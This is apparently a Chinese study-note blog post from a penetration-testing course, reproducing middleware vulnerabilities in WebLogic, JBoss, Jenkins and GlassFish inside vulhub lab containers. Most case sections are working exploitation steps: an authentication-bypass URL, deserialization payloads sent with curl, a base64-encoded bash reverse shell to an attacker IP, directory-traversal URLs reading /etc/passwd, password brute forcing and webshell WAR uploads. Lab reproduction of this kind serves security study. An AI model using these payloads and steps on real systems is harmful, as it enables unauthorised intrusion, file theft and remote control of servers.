文章仅供学习交流,一些漏洞没能复现出来(菜就多练),日后来兴趣再补坑(大概~)

视频链接: 

【小迪安全】红蓝对抗 | 网络攻防 | V2022全栈培训_哔哩哔哩_bilibilihttps://www.bilibili.com/video/BV1pQ4y1s7kH

目录

一、知识点

1、中间件-Weblogic-CVE

2、中间件-JBoos-CVE

3、中间件-Jenkins-CVE

4、中间件-GlassFish-CVE

二、章节内容

1、常见中间件的安全测试

2、中间件安全测试流程

3、应用服务安全测试流程

三、案例演示

1、中间件-Weblogic-CVE&反序列化&远程执行

(1) CVE-2017-3506  远程代码执行漏洞

(2)CVE-2018-2893  反序列化漏洞

(3)CVE-2018-3245  远程代码执行漏洞

(4)CVE-2020-14882 未授权命令执行漏洞

(5)CVE-2021-2394 反序列化漏洞 (复现失败)

2、中间件-JBoos-CVE&弱口令

(1)CVE-2017-12149  反序列化远程代码执行漏洞

(2)CVE-2017-7504  反序列化命令执行漏洞

(3)弱口令 未授权访问

3、中间件-Jenkins-CVE

(1)CVE-2017-1000353  远程代码执行漏洞

(2)CVE-2018-1000861  远程命令执行漏洞 (未完成)

(3)CVE-2019-100300  远程代码执行漏洞(条件苛刻)

4、中间件-GlassFish-CVE

(1)CVE-2017-1000028 任意文件读取漏洞

(2)简单口令&Getshell (getshell失败)

四、总结

相关工具下载

链接:https://pan.baidu.com/s/1BcDQ1c1kt4M0JChMQLoH1Q  提取码:idoa

一、知识点

中间件及框架列表:

IIS

Apache

Nginx

Tomcat

Docker

Weblogic

JBoos

WebSphere

Jenkins

GlassFish

Jira

Struts2

Laravel

Solr

Shiro

Thinkphp

Spring

Flask

jQuery

本节课程涉及以下中间件案例演示:

1、中间件-Weblogic-CVE

2、中间件-JBoos-CVE

3、中间件-Jenkins-CVE

4、中间件-GlassFish-CVE

二、章节内容

1、常见中间件的安全测试

(1)配置不当-解析&弱口令

(2)安全机制-特定安全漏洞

(3)安全机制-弱口令爆破攻击

(4)安全应用-框架特定安全漏洞

2、中间件安全测试流程

(1)判断中间件信息-名称&版本&三方

(2)判断中间件问题-配置不当&公开漏洞

(3)判断中间件利用-弱口令&EXP&框架漏洞

3、应用服务安全测试流程

(1)判断服务开放情况-端口扫描&组合应用等

(2)判断服务类型归属-数据库&文件传输&通讯等

(3)判断服务利用方式-特定漏洞&未授权&弱口令等

三、案例演示

1、中间件-Weblogic-CVE&反序列化&远程执行

        简介:Weblogic 是 Oracle 公司推出的一个基于JAVAEE架构的中间件,能为JAVA程序提供开发、集成、部署和管理等功能。

注:由于下面的几个漏洞大部分可直接用集成工具一键探测并利用,因此下面只介绍漏洞详情,就不复现了,下载链接如下:

WeblogicTool-GUI漏洞利用工具,支持漏洞检测、命令执行、内存马注入、密码解密等

此工具需要在java8环境下运行,检查java版本

java -version

版本一致后,解压下载工具的压缩包,在此目录打开cmd,输入命令即可打开GUI界面(若不慎关掉cmd界面会退出程序)

java -jar WeblogicTool_1.3.jar

详细使用教程在下载链接中有,可自行研究

(1) CVE-2017-3506  远程代码执行漏洞

简介:

        Weblogic的WLS Security组件对外提供webservice服务 ,里面的XMLDecoder是用来解析用户传入的数据,解析的过程中,由于其中的WorkContextXmlInputAdapter类没有限制传入的数据,会出现反序列化漏洞,导致可执行任意命令,因此可被攻击者构造恶意代码拿到权限。

影响版本:

        OracleWebLogic Server10.3.6.0.0

        OracleWebLogic Server12.1.3.0.0

        OracleWebLogic Server12.2.1.1.0

        OracleWebLogic Server12.2.1.2.0

判断方法:

        访问以下目录,页面有返回服务信息则说明或许存在漏洞

/wls-wsat/CoordinatorPortType

/wls-wsat/RegistrationPortTypeRPC

/wls-wsat/ParticipantPortType

/wls-wsat/RegistrationRequesterPortType /wls-wsat/CoordinatorPortType11

/wls-wsat/RegistrationPortTypeRPC11 /wls-wsat/ParticipantPortType11

/wls-wsat/RegistrationRequesterPortType11

(2)CVE-2018-2893  反序列化漏洞

简介:

        此漏洞产生于WebLogic T3服务,T3协议在WebLogic Server和客户端间承当传输数据和通信作用,Weblogic开放端口后T3会默认开启,WebLogic服务存在的漏洞允许未经身份验证的攻击者通过T3获得服务器权限。

影响版本:

        WebLogic 10.3.6.0

        WebLogic 12.1.3.0

        WebLogic 12.2.1.2

        WebLogic 12.2.1.3

(3)CVE-2018-3245  远程代码执行漏洞

简介:

        该漏洞和CVE-2018-2893类似,通过JRMP协议利用RMI机制的缺陷,进行远程代码执行漏洞的利用。攻击者可构造恶意代码并通过T3进行反序列化实现远程代码执行获取系统权限。

影响版本:

        Weblogic 10.3.6.0

        Weblogic 12.1.3.0

        Weblogic 12.2.1.3

判断方法:

        CVE-2018-3245-PoC

(4)CVE-2020-14882 未授权命令执行漏洞

简介:

        此漏洞可被未经身份验证的攻击者通过构造特殊的GET请求进行攻击,

影响版本:

        Oracle Weblogic Server 10.3.6.0.0

        Oracle Weblogic Server 12.1.3.0.0

        Oracle Weblogic Server 12.2.1.3.0

        Oracle Weblogic Server 12.2.1.4.0

        Oracle Weblogic Server 14.1.1.0.0

WeblogicTool可以识别存在漏洞,但是利用这块用不了,尝试手工复现下

打开vulhub,进入/weblogic/CVE-2020-14882,启动容器

打开访问界面http://192.168.190.153:7001/console

输入poc,可直接进入后台,说明存在漏洞

http://192.168.190.153:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29

下载shell脚本,执行命令

About CVE-2020-14882_ALL综合利用工具,支持命令回显检测、批量命令回显、外置xml无回显命令执行等功能

(5)CVE-2021-2394 反序列化漏洞 (复现失败)

简介:

        此为WebLogic组件存在高危漏洞,漏洞主要是FilterExtractor的readExternal方法使用不当,使得生成 MethodAttributeAccessor的时候不会受到黑名单的限制。成功利用该漏洞的攻击者可以获取WebLogic Server管理权限。

影响版本:

        Oracle WebLogic Server 10.3.6.0.0

        Oracle WebLogic Server 12.1.3.0.0

        Oracle WebLogic Server 12.2.1.3.0

        Oracle WebLogic Server 12.2.1.4.0

        Oracle WebLogic Server 14.1.1.0.0

这里用vulhub的CVE-2020-14882的漏洞环境来代替(版本一致)

复现失败,poc运行报错╮(╯▽╰)╭

2、中间件-JBoos-CVE&弱口令

简介:

        Jboss 通常占用的端口是 1098,1099,4444,4445,8080,8009,8083,8093 这

几个,Red Hat JBoss Application Server 是一款基于 JavaEE 的开源应用服务器。

(1)CVE-2017-12149  反序列化远程代码执行漏洞

简介:

        JBOSS Application Server是一个基于JE22的开放源代码的应用服务器,在这个漏洞中,发现 HTTP Invoker 的 ReadOnlyAccessFilter 中的 doFilter 方法不限制它执行反序列化的类,因此允许攻击者通过构建特殊的的序列化数据执行任意代码,无需用户验证即可获得服务器的控制权。

影响版本:

        5.x和6.x版本的JBOSSAS

 打开vulhub,进入/jboss/CVE-2017-12149,启动容器,访问url

访问/invoker/readonly,若出现500状态码说明存在漏洞

在kali下载利用利用工具,下载链接-github

按照要求替换Java版本为1.8.0_20,以root在kali运行以下命令,该命令是下载Java压缩包解压并替换本地Java包过程

# cd /opt

# curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz

# tar zxvf jdk-8u20-linux-x64.tar.gz

# rm -rf /usr/bin/java*

# ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin

# java -version

java version "1.8.0_20"

版本替换好后,进入前边git下载的文件目录,编译和执行应用程序

javac VulnerableHTTPServer.java -XDignore.symbol.file

java -cp .:commons-collections-3.2.1.jar VulnerableHTTPServer

编译一个ser文件,填写ip和端口信息

//编译 example1,该示例适用于类路径中具有 commons-collections3.2.1 和 JRE < 8u72 的应用程序

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

//生成ser文件。以下192.168.190.140是攻击机ip,4444是要监听的端口

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.1.192:4444

kali监听4444端口,同时使用curl反弹shell,可以看到反弹成功

curl http://192.168.190.153:8080/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

(2)CVE-2017-7504  反序列化命令执行漏洞

简介:

        Jboss AS 4.X及之前的版本中的JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在安全漏洞。远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。

影响版本:

        JBoss AS<=4.x

 打开vulhub,进入/jboss/CVE-2017-7504,启动容器,访问url

访问/jbossmq-httpil/HTTPServerILServlet,能成功访问并出现以下页面说明存在漏洞

和CVE-2017-12149反序列化漏洞利用过程一样,使用curl反弹shell,有回显即为成功

(3)弱口令 未授权访问

简介:

        部署jboss时管理员有时会忽略修改密码导致弱口令,又或者无密码可以直接访问后台导致未授权访问。

影响版本:

        全版本

上边打开的CVE漏洞靶场可以直接用来复现,这里以CVE-2017-7504为例

访问/jmx-console/,显示输入账密,尝试默认密码:admin/admin,可进入后台

找到deployment(部署界面),进入找到void addurl()添加文件,在ParamValue下输入打包好的一句话木马文件

这里上传的一句话木马可以用godzilla生成,然后再压缩修改后缀为war,和上节课思路一样,传送门:第59天-服务攻防-中间件安全&CVE 复现&IIS&Apache&Tomcat&Nginx

 打开kali的nginx,将shell.war放入网站目录(路径/var/www/html)

写入url访问路径,点击Invoke,跳转到上传成功界面,可以在后台主页查看是否上传成功

访问/shell/目录,可看到上传的文件,用godzilla成功连接

        复现这里有一些问题说一下,首先,假如使用默认密码登录失败,想要批量测试其它弱口令,可以尝试用burpsuite爆破密码。由抓包可见账密传输使用base64编码且为admin:admin格式,只要字典给力爆破不在话下

        其次,实测用蚁剑和自制的一句话木马是连接不上的,可以用godzilla或者冰蝎代替,个人更推荐godzilla因为提供生成一句话木马功能

3、中间件-Jenkins-CVE

简介:

       Jenkins 是一个用 Java 编写的开源自动化工具,是基于Java开发的一种持续集成工具,用于监控持续重复的工作。默认端口:8080

(1)CVE-2017-1000353  远程代码执行漏洞

简介:

        该漏洞存在于使用HTTP协议的双向通信通道的具体实现代码中,Jenkins利用此通道来接收命令,恶意攻击者可以构造恶意攻击参数远程执行命令,从而获取系统权限,造成数据泄露。

影响版本:

        所有Jenkins主版本均受到影响(包括<=2.56版本)         所有Jenkins LTS 均受到影响(包括<=2.46.1版本)

 打开vulhub,进入/Jenkins/CVE-2017-1000353,启动容器,访问url

下载好payload生成工具,下载链接(注意,需下载CVE-2017-1000353-1.1-SNAPSHOT-all.jar和exploit.py两个文件)

在当前页面打开cmd,输入以下命令,kali开启端口监听

//生成序列化字符串poc.ser,这里反弹shell命令需要用base编码

java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar poc.ser "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5MC4xNDAvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}"

//给靶机发送数据包,执行命令

python exploit.py http://192.168.190.153:8080 poc.ser

注意,实测java版本需要1.8.0_291才行,否则反弹不了shell

反弹成功

(2)CVE-2018-1000861  远程命令执行漏洞 (未完成)

简介:

        jenkins使用Stapler开发,在stapler/core/src/main/java/org/kohsuke/stapler/MetaClass.java 中使用的 Stapler Web 框架中存在一个代码执行漏洞,该漏洞允许攻击者通过访问构建特殊的 URL 来调用 Java 对象上的某些方法获取权限。

影响版本:

        Jenkins主版本 <= 2.153         Jenkins LTS版本 <= 2.138.3

整半天复现的脚本运行不了,学习思路后暂时放弃╮(╯_╰)╭

(3)CVE-2019-100300  远程代码执行漏洞(条件苛刻)

简介:

        在src/main/java/org/jenkinsci/plugins/scriptsecurity/sandbox/groovy/GroovySandbox.java 中存在一个沙盒绕过漏洞,该漏洞允许能提供沙盒脚本的攻击者在 Jenkins master JVM 上执行任意代码。

影响版本:

        Pipeline: Declarative 插件 <= 1.3.4         Pipeline: Groovy 插 件 <= 2.61         Script Security 插 件 <= 1.49

该漏洞需要提前知道管理员用户账号和密码才能进行利用,利用价值不高

4、中间件-GlassFish-CVE

简介:

        GlassFish 是一款强健的商业兼应用服务器,达到产品级质量,可免费用于开发、部署和重新分发。开发者可以免费获得源代码,还可以对代码进行更改。默认端口为4848。

(1)CVE-2017-1000028 任意文件读取漏洞

简介:

        Oracle 的 GlassFish Server Open Source Edition 4.1 容易受到经过身份验证和未经身份验证的目录遍历漏洞的攻击,可以通过发出特制的 HTTP GET 请求来利用该漏洞。

影响版本:

       GlassFish <= 4.1.2

打开vulhub,进入/glassfish/4.1.0/目录启动容器,访问http://192.168.190.153:4848

访问以下url,可得到靶机为linux或windows下的账号密码存储位置。java中会把%c0%ae解析为\uC0AE后转义为字符.(点), 所以可以利用%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/向上跳转目录,达到目录穿越读取任意文件的效果。

linux(相当于访问/theme/META_INF/../../../../../../../../../../windows/win.ini):

https://192.168.190.153:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd windows(相当于访问/theme/META_INF/../../../../../../../../../../etc/passwd):

https://192.168.190.153:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini

(2)简单口令&Getshell (getshell失败)

简介:

        部署Glassfish时管理员有时会忽略修改密码导致弱口令,又或者无密码可以直接访问后台导致未授权访问。

影响版本:

        全版本 

上面的vulhub环境保留,访问url是一个登录界面,因此我们可以用bp爆破密码,抓包添加到intruder,导入字典批量爆破

可以看到爆破后有一个页面状态码和字符串长度不一样,尝试该账密可以成功登录后台

点击左边的Applications后点击Deploy,这里有文件上传路径点,上传godzilla生成的jsp文件压缩改为war后缀,

看其他复现博客这里需要访问https://192.168.190.153:8080/shell/shell.jsp,但是我这访问不了也没报错,网上也没有这种情况的解析,只好就此作罢

一般的话,这里能访问到直接godzilla连接即可

http://192.168.190.153:8080/[Context Root]/[war包内的filename]

四、总结

        这节课也是以CVE漏洞复现为主,复现了一些比较常见的中间件漏洞。有一说一漏洞复现非常艰难,大体上都是环境配置问题。好在复现成功后非常有成就感,也能在不知不觉中提高动手能力。

推荐文章

评论可见,请评论后查看内容,谢谢!!!
 您阅读本篇文章共花了: